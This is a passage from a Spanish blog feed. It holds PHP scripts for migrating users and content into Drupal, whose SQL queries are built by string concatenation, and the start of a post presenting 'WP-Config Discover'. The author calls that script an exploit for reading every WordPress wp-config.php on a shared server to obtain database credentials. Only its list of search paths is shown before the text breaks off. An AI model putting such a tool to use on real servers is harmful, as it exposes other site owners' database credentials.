<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$_r</span> = <a href="http://www.php.net/mysql_result"><span class="kw3">mysql_result</span></a><span class="br0">&#40;</span>sqlExec<span class="br0">&#40;</span><span class="re0">$query</span>, <span class="st0">&#8216;query&#8217;</span><span class="br0">&#41;</span>, <span class="nu0">0</span>, <span class="st0">&#8216;subcategoria_es&#8217;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query<span class="br0">&#40;</span><span class="st0">&quot;UPDATE dp_profile_values SET value = &#8216;&quot;</span>.<span class="re0">$_r</span>.<span class="st0">&quot;&#8217; WHERE fid = 7 AND uid = &quot;</span>.<span class="re0">$_uid</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">//&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query(&quot;INSERT INTO dp_profile_values(fid, uid, value) VALUES(7, &quot;.$_uid.&quot;, &#8216;&quot;.$_r.&quot;&#8217;)&quot;);</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>Esta clase nos permite crear una instancia para trabajar con Drupal y de esta forma poder migrar usuarios, contenidos, asignar taxonomias/categorias, resetear claves, insertar comentarios, etc. Cada método público debe ser llamado pasando como argumento un <em>array</em> con la información que desea ser insertada. Por ejemplo, una llamda al método <em>createUser</em>:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="re0">$_users</span> = <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;SELECT * FROM usuarios&quot;</span>, <span class="re0">$link</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">while</span><span class="br0">&#40;</span><span class="re0">$_users_row</span> = <a href="http://www.php.net/mysql_fetch_array"><span class="kw3">mysql_fetch_array</span></a><span class="br0">&#40;</span><span class="re0">$_users</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Llamada a API drupal para crear usuario</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$drupal</span>-&gt;<span class="me1">createUser</span><span class="br0">&#40;</span><span class="re0">$_users_row</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>Sencillamente, lo que hace este pedazo de código es consultar en una base de datos por todos los usuarios y posteriormente, por cada registro encontrado, llamar al método &#8220;createUsers&#8221; pasándole como argumento el row correspondiente al ciclo.</p>
<p>Les dejo el script &#8220;Migrar.php&#8221; que instancia la clase Drupal y hace uso de sus métodos:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?php</div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">/* </span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;* Lunes, 21 de Septiembre del 2009.</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;*</span></div>
</li>
<li class="li2">
<div class="de2"><span class="coMULTI">&nbsp;* Migrador de plataformas para</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;* Drupal.</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;*</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;*/</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2"><span class="co1">// Config</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">require_once</span><span class="br0">&#40;</span><span class="st0">&quot;Config.php&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$conexion</span> = <a href="http://www.php.net/mysql_connect"><span class="kw3">mysql_connect</span></a><span class="br0">&#40;</span><span class="re0">$host</span>, <span class="re0">$username</span>, <span class="re0">$password</span><span class="br0">&#41;</span> OR <a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><span class="st0">&quot;Error al conectar a la base de datos.<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2"><span class="co1">// Llamada a nuestro wrapper</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">require_once</span><span class="br0">&#40;</span><span class="st0">&quot;Drupal.class.php&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span><span class="br0">&#40;</span>!<a href="http://www.php.net/mysql_select_db"><span class="kw3">mysql_select_db</span></a><span class="br0">&#40;</span><span class="re0">$database</span>, <span class="re0">$conexion</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;Error al seleccionar la base de datos.<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">else</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$start</span> = <a href="http://www.php.net/time"><span class="kw3">time</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$drupal</span> = <span class="kw2">new</span> Drupal<span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Usuarios</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$table</span> = <span class="st0">&quot;usr_users&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$query</span> = <span class="st0">&quot;SELECT * FROM &quot;</span>.<span class="re0">$table</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_users</span> = sqlExec<span class="br0">&#40;</span><span class="re0">$query</span>, <span class="st0">&quot;print_query&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; getRows<span class="br0">&#40;</span><span class="re0">$_users</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">while</span><span class="br0">&#40;</span><span class="re0">$_users_row</span> = <a href="http://www.php.net/mysql_fetch_array"><span class="kw3">mysql_fetch_array</span></a><span class="br0">&#40;</span><span class="re0">$_users</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Llamada a API drupal para crear usuario</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$drupal</span>-&gt;<span class="me1">createUser</span><span class="br0">&#40;</span><span class="re0">$_users_row</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Fin</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$table</span> = <span class="st0">&quot;infoc_news&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$query</span> = <span class="st0">&quot;SELECT * FROM &quot;</span>.<span class="re0">$table</span>.<span class="st0">&quot; WHERE autor = &quot;</span>.<span class="re0">$_users_row</span><span class="br0">&#91;</span><span class="st0">&#8216;id&#8217;</span><span class="br0">&#93;</span>.<span class="st0">&quot; ORDER BY fecha&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_news</span> = sqlExec<span class="br0">&#40;</span><span class="re0">$query</span>, <span class="st0">&quot;print_query&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; getRows<span class="br0">&#40;</span><span class="re0">$_news</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">while</span><span class="br0">&#40;</span><span class="re0">$_news_row</span> = <a href="http://www.php.net/mysql_fetch_array"><span class="kw3">mysql_fetch_array</span></a><span class="br0">&#40;</span><span class="re0">$_news</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Llamada a API drupal para crear contenido</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$drupal</span>-&gt;<span class="me1">createContent</span><span class="br0">&#40;</span><span class="re0">$_news_row</span>, <span class="st0">&quot;news&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Fin</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Comentarios en perfiles</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$table</span> = <span class="st0">&quot;usr_comments&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$query</span> = <span class="st0">&quot;SELECT * FROM usr_coments WHERE responseTo = 0&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_comments</span> = sqlExec<span class="br0">&#40;</span><span class="re0">$query</span>, <span class="st0">&quot;print_query&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; getRows<span class="br0">&#40;</span><span class="re0">$_comments</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">while</span><span class="br0">&#40;</span><span class="re0">$_comments_row</span> = <a href="http://www.php.net/mysql_fetch_array"><span class="kw3">mysql_fetch_array</span></a><span class="br0">&#40;</span><span class="re0">$_comments</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Llamada a API drupal para insertar comentarios en perfiles</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$drupal</span>-&gt;<span class="me1">insertCommentProfile</span><span class="br0">&#40;</span><span class="re0">$_comments_row</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// FIn</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$stop</span> = <a href="http://www.php.net/time"><span class="kw3">time</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$time</span> = <span class="re0">$stop</span> &#8211; <span class="re0">$start</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;Migration done.<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;+ Summary:<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;|- Users:<span class="es0">\t</span>&quot;</span>.<span class="re0">$drupal</span>-&gt;<span class="me1">counter</span><span class="br0">&#91;</span><span class="st0">&#8216;users&#8217;</span><span class="br0">&#93;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;|- Nodes:<span class="es0">\t</span>&quot;</span>.<span class="re0">$drupal</span>-&gt;<span class="me1">counter</span><span class="br0">&#91;</span><span class="st0">&#8216;news&#8217;</span><span class="br0">&#93;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;|- Comments:<span class="es0">\t</span>&quot;</span>.<span class="re0">$drupal</span>-&gt;<span class="me1">counter</span><span class="br0">&#91;</span><span class="st0">&#8216;comments&#8217;</span><span class="br0">&#93;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;|_ Time:<span class="es0">\t</span>&quot;</span>.<a href="http://www.php.net/date"><span class="kw3">date</span></a><span class="br0">&#40;</span><span class="st0">&quot;s&quot;</span>, <span class="re0">$time</span><span class="br0">&#41;</span>.<span class="st0">&quot; secs.<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">/* sqlExec()</span></div>
</li>
<li class="li2">
<div class="de2"><span class="coMULTI">&nbsp;* Ejecuta y/o imprime una consulta SQL</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;*/</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> sqlExec<span class="br0">&#40;</span><span class="re0">$query</span>, <span class="re0">$type</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/global"><span class="kw3">global</span></a> <span class="re0">$conexion</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">switch</span><span class="br0">&#40;</span><span class="re0">$type</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> <span class="st0">&#8216;print&#8217;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&gt;&gt;[SQL] &quot;</span>.<span class="re0">$query</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">break</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> <span class="st0">&#8216;query&#8217;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="re0">$query</span>, <span class="re0">$conexion</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">break</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> <span class="st0">&#8216;print_query&#8217;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&gt;&gt;[SQL] &quot;</span>.<span class="re0">$query</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="re0">$query</span>, <span class="re0">$conexion</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">break</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> <span class="st0">&#8216;default&#8217;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;Error en el modo de trabajo.<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">break</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="kw2">NULL</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">/* getRows()</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;* Imprime la cantidad de resultados obtenidas desde una consulta</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;*/</span></div>
</li>
<li class="li2">
<div class="de2"><span class="kw2">function</span> getRows<span class="br0">&#40;</span><span class="re0">$resource</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&lt; &lt; &quot;</span>.<a href="http://www.php.net/mysql_num_rows"><span class="kw3">mysql_num_rows</span></a><span class="br0">&#40;</span><span class="re0">$resource</span><span class="br0">&#41;</span>.<span class="st0">&quot; rows.<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
<p><strong>NOTA</strong> Estos scripts son los <em>originales</em> que he usado para migrar una plataforma, si alguien quiere darle un uso personal debe hacer las modificaciones correspondientes que se adapten a su propio modelo de datos y a sus propias necesidades.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fmigracion-exportacion-importacion-datos-drupal%2F&amp;linkname=Migraci%C3%B3n%20de%20datos%20en%20Drupal" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fmigracion-exportacion-importacion-datos-drupal%2F&amp;linkname=Migraci%C3%B3n%20de%20datos%20en%20Drupal" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fmigracion-exportacion-importacion-datos-drupal%2F&amp;linkname=Migraci%C3%B3n%20de%20datos%20en%20Drupal" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fmigracion-exportacion-importacion-datos-drupal%2F&amp;linkname=Migraci%C3%B3n%20de%20datos%20en%20Drupal" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fmigracion-exportacion-importacion-datos-drupal%2F&amp;linkname=Migraci%C3%B3n%20de%20datos%20en%20Drupal" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fmigracion-exportacion-importacion-datos-drupal%2F&amp;linkname=Migraci%C3%B3n%20de%20datos%20en%20Drupal" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fmigracion-exportacion-importacion-datos-drupal%2F&amp;linkname=Migraci%C3%B3n%20de%20datos%20en%20Drupal" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fmigracion-exportacion-importacion-datos-drupal%2F&amp;linkname=Migraci%C3%B3n%20de%20datos%20en%20Drupal">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/documentacion/migracion-exportacion-importacion-datos-drupal/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WP-Config Discover: Héchale un vistazo a todos los WordPress del servidor</title>
		<link>http://blog.zerial.org/seguridad/wp-config-discover/</link>
		<comments>http://blog.zerial.org/seguridad/wp-config-discover/#comments</comments>
		<pubDate>Mon, 10 Aug 2009 03:04:08 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wp]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=716</guid>
		<description><![CDATA[WP-Config Discover es el nombre que le puse a un script/exploit en el que estuve trabajando durante la semana. Este script no se aprovecha de ninguna falla ni vulnerabilidad de wordpress ni de algun servicio en especifico, sino de algo que es completamente normal: Lectura para el usuario www-data sobre el fichero wp-config.php. Como todos [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-full wp-image-720" title="matrixwordpress" src="http://blog.zerial.org/wp-content/uploads/2009/08/matrixwordpress.png" alt="matrixwordpress" width="190" height="190" /><strong>WP-Config Discover</strong> es el nombre que le puse a un script/exploit en el que estuve trabajando durante la semana. Este script no se aprovecha de ninguna falla ni vulnerabilidad de wordpress ni de algun servicio en especifico, sino de algo que es completamente normal: Lectura para el usuario <em>www-data</em> sobre el fichero <em>wp-config.php</em>.</p>
<p>Como todos saben, wordpress al igual que todos los cms, guardan la configuración de la base de datos (usuario, password, host, prefijo de las tablas, etc) en un fichero, el cual debe ser legible por el usuario que está corriendo el servicio http (generalmente apache/www-data).</p>
<p><span id="more-716"></span></p>
<p><strong>Código</strong></p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?php</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$paths</span> = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;blog&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;site&quot;</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="st0">&quot;html&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;www&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;html/blog&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;www/blog&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;site/blog&quot;</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="st0">&quot;wordpress&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;wp&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;www/wp&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;www/wordpress&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;html/wordpress&quot;</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="st0">&quot;html/wp&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;public_html&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;public_html/blog&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;public_html/wp&quot;</span>,</div>
</li>
